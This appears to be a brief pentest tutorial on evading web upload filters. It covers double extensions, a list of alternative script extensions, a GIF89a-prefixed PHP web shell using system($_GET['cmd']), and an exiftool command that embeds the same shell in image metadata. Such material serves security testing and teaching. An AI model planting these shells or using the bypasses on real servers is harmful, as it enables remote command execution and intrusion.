Bypass File Upload Filtering

One common way to gain a shell is actually not really a vulnerability, but a feature! Often times it is possible to upload files to the webserver. This can be abused byt just uploading a reverse shell. The ability to upload shells are often hindered by filters that try to filter out files that could potentially be malicious. So that is what we have to bypass.

Rename it

We can rename our shell and upload it as shell.php.jpg. It passed the filter and the file is executed as php.

php phtml, .php, .php3, .php4, .php5, and .inc

asp asp, .aspx

perl .pl, .pm, .cgi, .lib

jsp .jsp, .jspx, .jsw, .jsv, and .jspf

Coldfusion .cfm, .cfml, .cfc, .dbm

GIF89a;

If they check the content. Basically you just add the text "GIF89a;" before you shell-code. So it would look something like this:

```
 GIF89a;
<?
system($_GET['cmd']);//or you can insert your complete shell code
?>
```

In image

```
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' lo.jpg
```

Exiftool is a great tool to view and manipulate exif-data. Then I had to rename the file

mv lo.jpg lo.php.jpg

Nullbyte

References

http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html

https://www.owasp.org/index.php/Unrestricted_File_Upload http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Webshells%20In%20PHP,%20ASP,%20JSP,%20Perl,%20And%20ColdFusion.pdf